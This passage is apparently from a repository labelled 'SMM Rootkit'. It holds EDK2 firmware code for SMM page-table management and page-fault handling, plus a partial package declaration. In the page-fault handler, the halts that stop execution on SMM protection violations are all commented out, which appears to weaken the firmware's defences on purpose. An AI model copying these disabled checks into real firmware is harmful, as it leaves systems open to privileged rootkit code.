Pdpt = NULL;\r\n  Pdt  = NULL;\r\n  MinAcc  = (UINT64)-1;\r\n  MinPml4 = (UINTN)-1;\r\n  MinPdpt = (UINTN)-1;\r\n  MinPdt  = (UINTN)-1;\r\n  Acc     = 0;\r\n  ReleasePageAddress = 0;\r\n\r\n  //\r\n  // First, find the leaf entry has the smallest access record value\r\n  //\r\n  Pml4 = (UINT64*)(UINTN)(AsmReadCr3 () & gPhyMask);\r\n  for (Pml4Index = 0; Pml4Index < EFI_PAGE_SIZE / sizeof (*Pml4); Pml4Index++) {\r\n    if ((Pml4[Pml4Index] & IA32_PG_P) == 0 || (Pml4[Pml4Index] & IA32_PG_PMNT) != 0) {\r\n      //\r\n      // If the PML4 entry is not present or is masked, skip it\r\n      //\r\n      continue;\r\n    }\r\n    Pdpt = (UINT64*)(UINTN)(Pml4[Pml4Index] & ~mAddressEncMask & gPhyMask);\r\n    PML4EIgnore = FALSE;\r\n    for (PdptIndex = 0; PdptIndex < EFI_PAGE_SIZE / sizeof (*Pdpt); PdptIndex++) {\r\n      if ((Pdpt[PdptIndex] & IA32_PG_P) == 0 || (Pdpt[PdptIndex] & IA32_PG_PMNT) != 0) {\r\n        //\r\n        // If the PDPT entry is not present or is masked, skip it\r\n        //\r\n        if ((Pdpt[PdptIndex] & IA32_PG_PMNT) != 0) {\r\n          //\r\n          // If the PDPT entry is masked, we will ignore checking the PML4 entry\r\n          //\r\n          PML4EIgnore = TRUE;\r\n        }\r\n        continue;\r\n      }\r\n      if ((Pdpt[PdptIndex] & IA32_PG_PS) == 0) {\r\n        //\r\n        // It's not 1-GByte pages entry, it should be a PDPT entry,\r\n        // we will not check PML4 entry more\r\n        //\r\n        PML4EIgnore = TRUE;\r\n        Pdt =  (UINT64*)(UINTN)(Pdpt[PdptIndex] & ~mAddressEncMask & gPhyMask);\r\n        PDPTEIgnore = FALSE;\r\n        for (PdtIndex = 0; PdtIndex < EFI_PAGE_SIZE / sizeof(*Pdt); PdtIndex++) {\r\n          if ((Pdt[PdtIndex] & IA32_PG_P) == 0 || (Pdt[PdtIndex] & IA32_PG_PMNT) != 0) {\r\n            //\r\n            // If the PD entry is not present or is masked, skip it\r\n            //\r\n            if ((Pdt[PdtIndex] & IA32_PG_PMNT) != 0) {\r\n              //\r\n              // If the PD entry is masked, we will not PDPT entry more\r\n              //\r\n              PDPTEIgnore = TRUE;\r\n            }\r\n            continue;\r\n          }\r\n          if ((Pdt[PdtIndex] & IA32_PG_PS) == 0) {\r\n            //\r\n            // It's not 2 MByte page table entry, it should be PD entry\r\n            // we will find the entry has the smallest access record value\r\n            //\r\n            PDPTEIgnore = TRUE;\r\n            Acc = GetAndUpdateAccNum (Pdt + PdtIndex);\r\n            if (Acc < MinAcc) {\r\n              //\r\n              // If the PD entry has the smallest access record value,\r\n              // save the Page address to be released\r\n              //\r\n              MinAcc  = Acc;\r\n              MinPml4 = Pml4Index;\r\n              MinPdpt = PdptIndex;\r\n              MinPdt  = PdtIndex;\r\n              ReleasePageAddress = Pdt + PdtIndex;\r\n            }\r\n          }\r\n        }\r\n        if (!PDPTEIgnore) {\r\n          //\r\n          // If this PDPT entry has no PDT entries pointer to 4 KByte pages,\r\n          // it should only has the entries point to 2 MByte Pages\r\n          //\r\n          Acc = GetAndUpdateAccNum (Pdpt + PdptIndex);\r\n          if (Acc < MinAcc) {\r\n            //\r\n            // If the PDPT entry has the smallest access record value,\r\n            // save the Page address to be released\r\n            //\r\n            MinAcc  = Acc;\r\n            MinPml4 = Pml4Index;\r\n            MinPdpt = PdptIndex;\r\n            MinPdt  = (UINTN)-1;\r\n            ReleasePageAddress = Pdpt + PdptIndex;\r\n          }\r\n        }\r\n      }\r\n    }\r\n    if (!PML4EIgnore) {\r\n      //\r\n      // If PML4 entry has no the PDPT entry pointer to 2 MByte pages,\r\n      // it should only has the entries point to 1 GByte Pages\r\n      //\r\n      Acc = GetAndUpdateAccNum (Pml4 + Pml4Index);\r\n      if (Acc < MinAcc) {\r\n        //\r\n        // If the PML4 entry has the smallest access record value,\r\n        // save the Page address to be released\r\n        //\r\n        MinAcc  = Acc;\r\n        MinPml4 = Pml4Index;\r\n        MinPdpt = (UINTN)-1;\r\n        MinPdt  = (UINTN)-1;\r\n        ReleasePageAddress = Pml4 + Pml4Index;\r\n      }\r\n    }\r\n  }\r\n  //\r\n  // Make sure one PML4/PDPT/PD entry is selected\r\n  //\r\n  ASSERT (MinAcc != (UINT64)-1);\r\n\r\n  //\r\n  // Secondly, insert the page pointed by this entry into page pool and clear this entry\r\n  //\r\n  InsertTailList (&mPagePool, (LIST_ENTRY*)(UINTN)(*ReleasePageAddress & ~mAddressEncMask & gPhyMask));\r\n  *ReleasePageAddress = 0;\r\n\r\n  //\r\n  // Lastly, check this entry's upper entries if need to be inserted into page pool\r\n  // or not\r\n  //\r\n  while (TRUE) {\r\n    if (MinPdt != (UINTN)-1) {\r\n      //\r\n      // If 4 KByte Page Table is released, check the PDPT entry\r\n      //\r\n      Pdpt = (UINT64*)(UINTN)(Pml4[MinPml4] & ~mAddressEncMask & gPhyMask);\r\n      SubEntriesNum = GetSubEntriesNum(Pdpt + MinPdpt);\r\n      if (SubEntriesNum == 0) {\r\n        //\r\n        // Release the empty Page Directory table if there was no more 4 KByte Page Table entry\r\n        // clear the Page directory entry\r\n        //\r\n        InsertTailList (&mPagePool, (LIST_ENTRY*)(UINTN)(Pdpt[MinPdpt] & ~mAddressEncMask & gPhyMask));\r\n        Pdpt[MinPdpt] = 0;\r\n        //\r\n        // Go on checking the PML4 table\r\n        //\r\n        MinPdt = (UINTN)-1;\r\n        continue;\r\n      }\r\n      //\r\n      // Update the sub-entries filed in PDPT entry and exit\r\n      //\r\n      SetSubEntriesNum (Pdpt + MinPdpt, SubEntriesNum - 1);\r\n      break;\r\n    }\r\n    if (MinPdpt != (UINTN)-1) {\r\n      //\r\n      // One 2MB Page Table is released or Page Directory table is released, check the PML4 entry\r\n      //\r\n      SubEntriesNum = GetSubEntriesNum (Pml4 + MinPml4);\r\n      if (SubEntriesNum == 0) {\r\n        //\r\n        // Release the empty PML4 table if there was no more 1G KByte Page Table entry\r\n        // clear the Page directory entry\r\n        //\r\n        InsertTailList (&mPagePool, (LIST_ENTRY*)(UINTN)(Pml4[MinPml4] & ~mAddressEncMask & gPhyMask));\r\n        Pml4[MinPml4] = 0;\r\n        MinPdpt = (UINTN)-1;\r\n        continue;\r\n      }\r\n      //\r\n      // Update the sub-entries filed in PML4 entry and exit\r\n      //\r\n      SetSubEntriesNum (Pml4 + MinPml4, SubEntriesNum - 1);\r\n      break;\r\n    }\r\n    //\r\n    // PLM4 table has been released before, exit it\r\n    //\r\n    break;\r\n  }\r\n}\r\n\r\n/**\r\n  Allocate free Page for PageFault handler use.\r\n\r\n  @return Page address.\r\n\r\n**/\r\nUINT64\r\nAllocPage (\r\n  VOID\r\n  )\r\n{\r\n  UINT64                            RetVal;\r\n\r\n  if (IsListEmpty (&mPagePool)) {\r\n    //\r\n    // If page pool is empty, reclaim the used pages and insert one into page pool\r\n    //\r\n    ReclaimPages ();\r\n  }\r\n\r\n  //\r\n  // Get one free page and remove it from page pool\r\n  //\r\n  RetVal = (UINT64)(UINTN)mPagePool.ForwardLink;\r\n  RemoveEntryList (mPagePool.ForwardLink);\r\n  //\r\n  // Clean this page and return\r\n  //\r\n  ZeroMem ((VOID*)(UINTN)RetVal, EFI_PAGE_SIZE);\r\n  return RetVal;\r\n}\r\n\r\n/**\r\n  Page Fault handler for SMM use.\r\n\r\n**/\r\nVOID\r\nSmiDefaultPFHandler (\r\n  VOID\r\n  )\r\n{\r\n  UINT64                            *PageTable;\r\n  UINT64                            *Pml4;\r\n  UINT64                            PFAddress;\r\n  UINTN                             StartBit;\r\n  UINTN                             EndBit;\r\n  UINT64                            PTIndex;\r\n  UINTN                             Index;\r\n  SMM_PAGE_SIZE_TYPE                PageSize;\r\n  UINTN                             NumOfPages;\r\n  UINTN                             PageAttribute;\r\n  EFI_STATUS                        Status;\r\n  UINT64                            *UpperEntry;\r\n\r\n  //\r\n  // Set default SMM page attribute\r\n  //\r\n  PageSize = SmmPageSize2M;\r\n  NumOfPages = 1;\r\n  PageAttribute = 0;\r\n\r\n  EndBit = 0;\r\n  Pml4 = (UINT64*)(AsmReadCr3 () & gPhyMask);\r\n  PFAddress = AsmReadCr2 ();\r\n\r\n  Status = GetPlatformPageTableAttribute (PFAddress, &PageSize, &NumOfPages, &PageAttribute);\r\n  //\r\n  // If platform not support page table attribute, set default SMM page attribute\r\n  //\r\n  if (Status != EFI_SUCCESS) {\r\n    PageSize = SmmPageSize2M;\r\n    NumOfPages = 1;\r\n    PageAttribute = 0;\r\n  }\r\n  if (PageSize >= MaxSmmPageSizeType) {\r\n    PageSize = SmmPageSize2M;\r\n  }\r\n  if (NumOfPages > 512) {\r\n    NumOfPages = 512;\r\n  }\r\n\r\n  switch (PageSize) {\r\n  case SmmPageSize4K:\r\n    //\r\n    // BIT12 to BIT20 is Page Table index\r\n    //\r\n    EndBit = 12;\r\n    break;\r\n  case SmmPageSize2M:\r\n    //\r\n    // BIT21 to BIT29 is Page Directory index\r\n    //\r\n    EndBit = 21;\r\n    PageAttribute |= (UINTN)IA32_PG_PS;\r\n    break;\r\n  case SmmPageSize1G:\r\n    if (!m1GPageTableSupport) {\r\n      DEBUG ((DEBUG_ERROR, \"1-GByte pages is not supported!\"));\r\n      ASSERT (FALSE);\r\n    }\r\n    //\r\n    // BIT30 to BIT38 is Page Directory Pointer Table index\r\n    //\r\n    EndBit = 30;\r\n    PageAttribute |= (UINTN)IA32_PG_PS;\r\n    break;\r\n  default:\r\n    ASSERT (FALSE);\r\n  }\r\n\r\n  //\r\n  // If execute-disable is enabled, set NX bit\r\n  //\r\n  if (mXdEnabled) {\r\n    PageAttribute |= IA32_PG_NX;\r\n  }\r\n\r\n  for (Index = 0; Index < NumOfPages; Index++) {\r\n    PageTable  = Pml4;\r\n    UpperEntry = NULL;\r\n    for (StartBit = 39; StartBit > EndBit; StartBit -= 9) {\r\n      PTIndex = BitFieldRead64 (PFAddress, StartBit, StartBit + 8);\r\n      if ((PageTable[PTIndex] & IA32_PG_P) == 0) {\r\n        //\r\n        // If the entry is not present, allocate one page from page pool for it\r\n        //\r\n        PageTable[PTIndex] = AllocPage () | mAddressEncMask | PAGE_ATTRIBUTE_BITS;\r\n      } else {\r\n        //\r\n        // Save the upper entry address\r\n        //\r\n        UpperEntry = PageTable + PTIndex;\r\n      }\r\n      //\r\n      // BIT9 to BIT11 of entry is used to save access record,\r\n      // initialize value is 7\r\n      //\r\n      PageTable[PTIndex] |= (UINT64)IA32_PG_A;\r\n      SetAccNum (PageTable + PTIndex, 7);\r\n      PageTable = (UINT64*)(UINTN)(PageTable[PTIndex] & ~mAddressEncMask & gPhyMask);\r\n    }\r\n\r\n    PTIndex = BitFieldRead64 (PFAddress, StartBit, StartBit + 8);\r\n    if ((PageTable[PTIndex] & IA32_PG_P) != 0) {\r\n      //\r\n      // Check if the entry has already existed, this issue may occur when the different\r\n      // size page entries created under the same entry\r\n      //\r\n      DEBUG ((DEBUG_ERROR, \"PageTable = %lx, PTIndex = %x, PageTable[PTIndex] = %lx\\n\", PageTable, PTIndex, PageTable[PTIndex]));\r\n      DEBUG ((DEBUG_ERROR, \"New page table overlapped with old page table!\\n\"));\r\n      ASSERT (FALSE);\r\n    }\r\n    //\r\n    // Fill the new entry\r\n    //\r\n    PageTable[PTIndex] = ((PFAddress | mAddressEncMask) & gPhyMask & ~((1ull << EndBit) - 1)) |\r\n                         PageAttribute | IA32_PG_A | PAGE_ATTRIBUTE_BITS;\r\n    if (UpperEntry != NULL) {\r\n      SetSubEntriesNum (UpperEntry, GetSubEntriesNum (UpperEntry) + 1);\r\n    }\r\n    //\r\n    // Get the next page address if we need to create more page tables\r\n    //\r\n    PFAddress += (1ull << EndBit);\r\n  }\r\n}\r\n\r\n/**\r\n  ThePage Fault handler wrapper for SMM use.\r\n\r\n  @param  InterruptType    Defines the type of interrupt or exception that\r\n                           occurred on the processor.This parameter is processor architecture specific.\r\n  @param  SystemContext    A pointer to the processor context when\r\n                           the interrupt occurred on the processor.\r\n**/\r\nVOID\r\nEFIAPI\r\nSmiPFHandler (\r\n  IN EFI_EXCEPTION_TYPE   InterruptType,\r\n  IN EFI_SYSTEM_CONTEXT   SystemContext\r\n  )\r\n{\r\n  UINTN             PFAddress;\r\n  UINTN             GuardPageAddress;\r\n  UINTN             CpuIndex;\r\n\r\n  ASSERT (InterruptType == EXCEPT_IA32_PAGE_FAULT);\r\n\r\n  AcquireSpinLock (mPFLock);\r\n\r\n  PFAddress = AsmReadCr2 ();\r\n\r\n  if (mCpuSmmStaticPageTable && (PFAddress >= LShiftU64 (1, (mPhysicalAddressBits - 1)))) {\r\n    DumpCpuContext (InterruptType, SystemContext);\r\n    DEBUG ((DEBUG_ERROR, \"Do not support address 0x%lx by processor!\\n\", PFAddress));\r\n    //CpuDeadLoop ();\r\n  }\r\n\r\n  //\r\n  // If a page fault occurs in SMRAM range, it might be in a SMM stack guard page,\r\n  // or SMM page protection violation.\r\n  //\r\n  if ((PFAddress >= mCpuHotPlugData.SmrrBase) &&\r\n      (PFAddress < (mCpuHotPlugData.SmrrBase + mCpuHotPlugData.SmrrSize))) {\r\n    //DumpCpuContext (InterruptType, SystemContext);\r\n    CpuIndex = GetCpuIndex ();\r\n    GuardPageAddress = (mSmmStackArrayBase + EFI_PAGE_SIZE + CpuIndex * mSmmStackSize);\r\n    if ((FeaturePcdGet (PcdCpuSmmStackGuard)) &&\r\n        (PFAddress >= GuardPageAddress) &&\r\n        (PFAddress < (GuardPageAddress + EFI_PAGE_SIZE))) {\r\n      DEBUG ((DEBUG_ERROR, \"SMM stack overflow!\\n\"));\r\n    } else {\r\n      if ((SystemContext.SystemContextX64->ExceptionData & IA32_PF_EC_ID) != 0) {\r\n        DEBUG ((DEBUG_ERROR, \"SMM exception at execution (0x%lx)\\n\", PFAddress));\r\n        DEBUG_CODE (\r\n          DumpModuleInfoByIp (*(UINTN *)(UINTN)SystemContext.SystemContextX64->Rsp);\r\n        );\r\n      } else {\r\n        DEBUG ((DEBUG_ERROR, \"SMM exception at access (0x%lx)\\n\", PFAddress));\r\n        DEBUG_CODE (\r\n          DumpModuleInfoByIp ((UINTN)SystemContext.SystemContextX64->Rip);\r\n        );\r\n      }\r\n    }\r\n    //CpuDeadLoop ();\r\n  }\r\n\r\n  //\r\n  // If a page fault occurs in non-SMRAM range.\r\n  //\r\n  if ((PFAddress < mCpuHotPlugData.SmrrBase) ||\r\n      (PFAddress >= mCpuHotPlugData.SmrrBase + mCpuHotPlugData.SmrrSize)) {\r\n    if ((SystemContext.SystemContextX64->ExceptionData & IA32_PF_EC_ID) != 0) {\r\n      //DumpCpuContext (InterruptType, SystemContext);\r\n      DEBUG ((DEBUG_ERROR, \"Code executed on IP(0x%lx) out of SMM range after SMM is locked!\\n\", PFAddress));\r\n      DEBUG_CODE (\r\n        DumpModuleInfoByIp (*(UINTN *)(UINTN)SystemContext.SystemContextX64->Rsp);\r\n      );\r\n      //CpuDeadLoop ();\r\n    }\r\n    if (IsSmmCommBufferForbiddenAddress (PFAddress)) {\r\n      //DumpCpuContext (InterruptType, SystemContext);\r\n      DEBUG ((DEBUG_ERROR, \"Access SMM communication forbidden address (0x%lx)!\\n\", PFAddress));\r\n      DEBUG_CODE (\r\n        DumpModuleInfoByIp ((UINTN)SystemContext.SystemContextX64->Rip);\r\n      );\r\n      //CpuDeadLoop ();\r\n    }\r\n  }\r\n\r\n  //\r\n  // If NULL pointer was just accessed\r\n  //\r\n  if ((PcdGet8 (PcdNullPointerDetectionPropertyMask) & BIT1) != 0 &&\r\n      (PFAddress < EFI_PAGE_SIZE)) {\r\n    DumpCpuContext (InterruptType, SystemContext);\r\n    DEBUG ((DEBUG_ERROR, \"!!! NULL pointer access !!!\\n\"));\r\n    DEBUG_CODE (\r\n      DumpModuleInfoByIp ((UINTN)SystemContext.SystemContextX64->Rip);\r\n    );\r\n    //CpuDeadLoop ();\r\n  }\r\n\r\n  if (FeaturePcdGet (PcdCpuSmmProfileEnable)) {\r\n    SmmProfilePFHandler (\r\n      SystemContext.SystemContextX64->Rip,\r\n      SystemContext.SystemContextX64->ExceptionData\r\n      );\r\n  } else {\r\n    SmiDefaultPFHandler ();\r\n  }\r\n\r\n  ReleaseSpinLock (mPFLock);\r\n}\r\n\r\n/**\r\n  This function sets memory attribute for page table.\r\n**/\r\nVOID\r\nSetPageTableAttributes (\r\n  VOID\r\n  )\r\n{\r\n  UINTN                 Index2;\r\n  UINTN                 Index3;\r\n  UINTN                 Index4;\r\n  UINT64                *L1PageTable;\r\n  UINT64                *L2PageTable;\r\n  UINT64                *L3PageTable;\r\n  UINT64                *L4PageTable;\r\n  BOOLEAN               IsSplitted;\r\n  BOOLEAN               PageTableSplitted;\r\n\r\n  //\r\n  // Don't do this if\r\n  //  - no static page table; or\r\n  //  - SMM heap guard feature enabled; or\r\n  //      BIT2: SMM page guard enabled\r\n  //      BIT3: SMM pool guard enabled\r\n  //  - SMM profile feature enabled\r\n  //\r\n  if (!mCpuSmmStaticPageTable ||\r\n      ((PcdGet8 (PcdHeapGuardPropertyMask) & (BIT3 | BIT2)) != 0) ||\r\n      FeaturePcdGet (PcdCpuSmmProfileEnable)) {\r\n    //\r\n    // Static paging and heap guard could not be enabled at the same time.\r\n    //\r\n    ASSERT (!(mCpuSmmStaticPageTable &&\r\n              (PcdGet8 (PcdHeapGuardPropertyMask) & (BIT3 | BIT2)) != 0));\r\n\r\n    //\r\n    // Static paging and SMM profile could not be enabled at the same time.\r\n    //\r\n    ASSERT (!(mCpuSmmStaticPageTable && FeaturePcdGet (PcdCpuSmmProfileEnable)));\r\n    return ;\r\n  }\r\n\r\n  DEBUG ((DEBUG_INFO, \"SetPageTableAttributes\\n\"));\r\n\r\n  //\r\n  // Disable write protection, because we need mark page table to be write protected.\r\n  // We need *write* page table memory, to mark itself to be *read only*.\r\n  //\r\n  AsmWriteCr0 (AsmReadCr0() & ~CR0_WP);\r\n\r\n  do {\r\n    DEBUG ((DEBUG_INFO, \"Start...\\n\"));\r\n    PageTableSplitted = FALSE;\r\n\r\n    L4PageTable = (UINT64 *)GetPageTableBase ();\r\n    SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L4PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted);\r\n    PageTableSplitted = (PageTableSplitted || IsSplitted);\r\n\r\n    for (Index4 = 0; Index4 < SIZE_4KB/sizeof(UINT64); Index4++) {\r\n      L3PageTable = (UINT64 *)(UINTN)(L4PageTable[Index4] & ~mAddressEncMask & PAGING_4K_ADDRESS_MASK_64);\r\n      if (L3PageTable == NULL) {\r\n        continue;\r\n      }\r\n\r\n      SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L3PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted);\r\n      PageTableSplitted = (PageTableSplitted || IsSplitted);\r\n\r\n      for (Index3 = 0; Index3 < SIZE_4KB/sizeof(UINT64); Index3++) {\r\n        if ((L3PageTable[Index3] & IA32_PG_PS) != 0) {\r\n          // 1G\r\n          continue;\r\n        }\r\n        L2PageTable = (UINT64 *)(UINTN)(L3PageTable[Index3] & ~mAddressEncMask & PAGING_4K_ADDRESS_MASK_64);\r\n        if (L2PageTable == NULL) {\r\n          continue;\r\n        }\r\n\r\n        SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L2PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted);\r\n        PageTableSplitted = (PageTableSplitted || IsSplitted);\r\n\r\n        for (Index2 = 0; Index2 < SIZE_4KB/sizeof(UINT64); Index2++) {\r\n          if ((L2PageTable[Index2] & IA32_PG_PS) != 0) {\r\n            // 2M\r\n            continue;\r\n          }\r\n          L1PageTable = (UINT64 *)(UINTN)(L2PageTable[Index2] & ~mAddressEncMask & PAGING_4K_ADDRESS_MASK_64);\r\n          if (L1PageTable == NULL) {\r\n            continue;\r\n          }\r\n          SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L1PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted);\r\n          PageTableSplitted = (PageTableSplitted || IsSplitted);\r\n        }\r\n      }\r\n    }\r\n  } while (PageTableSplitted);\r\n\r\n  //\r\n  // Enable write protection, after page table updated.\r\n  //\r\n  AsmWriteCr0 (AsmReadCr0() | CR0_WP);\r\n\r\n  return ;\r\n}\r\n"
  },
  {
    "path": "SMM Rootkit/UefiCpuPkg/UefiCpuPkg.dec",
    "content": "## @file  UefiCpuPkg.dec\r\n# This Package provides UEFI compatible CPU modules and libraries.\r\n#\r\n# Copyright (c) 2007 - 2017, Intel Corporation. All rights reserved.<BR>\r\n#\r\n# This program and the accompanying materials are licensed and made available under\r\n# the terms and conditions of the BSD License which accompanies this distribution.\r\n# The full text of the license may be found at\r\n# http://opensource.org/licenses/bsd-license.php\r\n#\r\n# THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n#\r\n##\r\n\r\n[Defines]\r\n  DEC_SPECIFICATION              = 0x00010005\r\n  PACKAGE_NAME                   = UefiCpuPkg\r\n  PACKAGE_UNI_FILE               = UefiCpuPkg.uni\r\n  PACKAGE_GUID                   = 2171df9b-0d39-45aa-ac37-2de190010d23\r\n  PACKAGE_VERSION                = 0.90\r\n\r\n[Includes]\r\n  Include\r\n\r\n[LibraryClasses]\r\n  ##  @libraryclass  Defines some routines that are generic for IA32 family CPU\r\n  ##                 to be UEFI specification compliant.\r\n  ##\r\n  UefiCpuLib|Include/Library/UefiCpuLib.h\r\n\r\n  ##  @libraryclass  Defines some routines that are used to register/manage/program\r\n  ##                 CPU features.\r\n  ##\r\n  RegisterCpuFeaturesLib|Include/Library/RegisterCpuFeaturesLib.h\r\n\r\n[LibraryClasses.IA32, LibraryClasses.X64]\r\n  ##  @libraryclass  Provides functions to manage MTRR settings on IA32 and X64 CPUs.\r\n  ##\r\n  MtrrLib|Include/Library/MtrrLib.h\r\n\r\n  ##  @libraryclass  Provides functions to manage the Local APIC on IA32 and X64 CPUs.\r\n  ##\r\n  LocalApicLib|Include/Library/LocalApicLib.h\r\n\r\n  ##  @libraryclass  Provides platform specific initialization functions in the SEC phase.\r\n  ##\r\n  PlatformSecLib|Include/Library/PlatformSecLib.h\r\n\r\n  ##  @libraryclass  Public include file for the SMM CPU Platform Hook Library.\r\n  ##\r\n  SmmCpuPlatformHookLib|Include/Library/SmmCpuPlatformHookLib.h\r\n\r\n  ##  @libraryclass  Provides the CPU specific programming for PiSmmCpuDxeSmm module.\r\n  ##\r\n  SmmCpuFeaturesLib|Include/Library/SmmCpuFeaturesLib.h\r\n\r\n  ##  @libraryclass  Provides functions to support MP services on CpuMpPei and CpuDxe module.\r\n  ##\r\n  MpInitLib|Include/Library/MpInitLib.h\r\n\r\n[Guids]\r\n  gUefiCpuPkgTokenSpaceGuid      = { 0xac05bf33, 0x995a, 0x4ed4, { 0xaa, 0xb8, 0xef, 0x7a, 0xe8, 0xf, 0x5c, 0xb0 }}\r\n  gMsegSmramGuid                 = { 0x5802bce4, 0xeeee, 0x4e33, { 0xa1, 0x30, 0xeb, 0xad, 0x27, 0xf0, 0xe4, 0x39 }}\r\n\r\n  ## Include/Guid/CpuFeaturesSetDone.h\r\n  gEdkiiCpuFeaturesSetDoneGuid   = { 0xa82485ce, 0xad6b, 0x4101, { 0x99, 0xd3, 0xe1, 0x35, 0x8c, 0x9e, 0x7e, 0x37 }}\r\n\r\n  ## Include/Guid/CpuFeaturesInitDone.h\r\n  gEdkiiCpuFeaturesInitDoneGuid  = { 0xc77c3a41, 0x61ab, 0x4143, { 0x98, 0x3e, 0x33, 0x39, 0x28, 0x6, 0x28, 0xe5 }}\r\n\r\n[Protocols]\r\n  ## Include/Protocol/SmmCpuService.h\r\n  gEfiSmmCpuServiceProtocolGuid  = { 0x1d202cab, 0xc8ab, 0x4d5c, { 0x94, 0xf7, 0x3c, 0xfc, 0xc0, 0xd3, 0xd3, 0x35 }}\r\n\r\n  ## Include/Protocol/SmMonitorInit.h\r\n  gEfiSmMonitorInitProtocolGuid  = { 0x228f344d, 0xb3de, 0x43bb, { 0xa4, 0xd7, 0xea, 0x20, 0xb, 0x1b, 0x14, 0x82 }}\r\n\r\n#\r\n# [Error.gUefiCpuPkgTokenSpaceGuid]\r\n#   0x80000001 | Invalid value provided.\r\n#\r\n\r\n[PcdsFeatureFlag]\r\n  ## Indicates if SMM Profile will be enabled.\r\n  #  If enabled, instruction executions in and data accesses to memory outside of SMRAM will be logged.\r\n  #  It could not be enabled at the same time with SMM static page table feature (PcdCpuSmmStaticPageTable).\r\n  #  This PCD is only for validation purpose. It should be set to false in production.<BR><BR>\r\n  #   TRUE  - SMM Profile will be enabled.<BR>\r\n  #   FALSE - SMM Profile will be disabled.<BR>\r\n  # @Prompt Enable SMM Profile.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmProfileEnable|FALSE|BOOLEAN|0x32132109\r\n\r\n  ## Indicates if the SMM profile log buffer is a ring buffer.\r\n  #  If disabled, no additional log can be done when the buffer is full.<BR><BR>\r\n  #   TRUE  - the SMM profile log buffer is a ring buffer.<BR>\r\n  #   FALSE - the SMM profile log buffer is a normal buffer.<BR>\r\n  # @Prompt The SMM profile log buffer is a ring buffer.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmProfileRingBuffer|FALSE|BOOLEAN|0x3213210a\r\n\r\n  ## Indicates if SMM Startup AP in a blocking fashion.\r\n  #   TRUE  - SMM Startup AP in a blocking fashion.<BR>\r\n  #   FALSE - SMM Startup AP in a non-blocking fashion.<BR>\r\n  # @Prompt SMM Startup AP in a blocking fashion.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmBlockStartupThisAp|FALSE|BOOLEAN|0x32132108\r\n\r\n  ## Indicates if SMM Stack Guard will be enabled.\r\n  #  If enabled, stack overflow in SMM can be caught, preventing chaotic consequences.<BR><BR>\r\n  #   TRUE  - SMM Stack Guard will be enabled.<BR>\r\n  #   FALSE - SMM Stack Guard will be disabled.<BR>\r\n  # @Prompt Enable SMM Stack Guard.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStackGuard|TRUE|BOOLEAN|0x1000001C\r\n\r\n  ## Indicates if BSP election in SMM will be enabled.\r\n  #  If enabled, a BSP will be dynamically elected among all processors in each SMI.\r\n  #  Otherwise, processor 0 is always as BSP in each SMI.<BR><BR>\r\n  #   TRUE  - BSP election in SMM will be enabled.<BR>\r\n  #   FALSE - BSP election in SMM will be disabled.<BR>\r\n  # @Prompt Enable BSP election in SMM.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmEnableBspElection|TRUE|BOOLEAN|0x32132106\r\n\r\n  ## Indicates if CPU SMM hot-plug will be enabled.<BR><BR>\r\n  #   TRUE  - SMM CPU hot-plug will be enabled.<BR>\r\n  #   FALSE - SMM CPU hot-plug will be disabled.<BR>\r\n  # @Prompt SMM CPU hot-plug.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuHotPlugSupport|FALSE|BOOLEAN|0x3213210C\r\n\r\n  ## Indicates if SMM Debug will be enabled.\r\n  #  If enabled, hardware breakpoints in SMRAM can be set outside of SMM mode and take effect in SMM.<BR><BR>\r\n  #   TRUE  - SMM Debug will be enabled.<BR>\r\n  #   FALSE - SMM Debug will be disabled.<BR>\r\n  # @Prompt Enable SMM Debug.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmDebug|FALSE|BOOLEAN|0x1000001B\r\n\r\n  ## Indicates if lock SMM Feature Control MSR.<BR><BR>\r\n  #   TRUE  - SMM Feature Control MSR will be locked.<BR>\r\n  #   FALSE - SMM Feature Control MSR will not be locked.<BR>\r\n  # @Prompt Lock SMM Feature Control MSR.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmFeatureControlMsrLock|TRUE|BOOLEAN|0x3213210B\r\n\r\n[PcdsFixedAtBuild]\r\n  ## List of exception vectors which need switching stack.\r\n  #  This PCD will only take into effect if PcdCpuStackGuard is enabled.\r\n  #  By default exception #DD(8), #PF(14) are supported.\r\n  # @Prompt Specify exception vectors which need switching stack.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuStackSwitchExceptionList|{0x08, 0x0E}|VOID*|0x30002000\r\n\r\n  ## Size of good stack for an exception.\r\n  #  This PCD will only take into effect if PcdCpuStackGuard is enabled.\r\n  # @Prompt Specify size of good stack of exception which need switching stack.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuKnownGoodStackSize|2048|UINT32|0x30002001\r\n\r\n[PcdsFixedAtBuild, PcdsPatchableInModule]\r\n  ## This value is the CPU Local APIC base address, which aligns the address on a 4-KByte boundary.\r\n  # @Prompt Configure base address of CPU Local APIC\r\n  # @Expression  0x80000001 | (gUefiCpuPkgTokenSpaceGuid.PcdCpuLocalApicBaseAddress & 0xfff) == 0\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuLocalApicBaseAddress|0xfee00000|UINT32|0x00000001\r\n\r\n  ## Specifies delay value in microseconds after sending out an INIT IPI.\r\n  # @Prompt Configure delay value after send an INIT IPI\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuInitIpiDelayInMicroSeconds|10000|UINT32|0x30000002\r\n\r\n  ## This value specifies the Application Processor 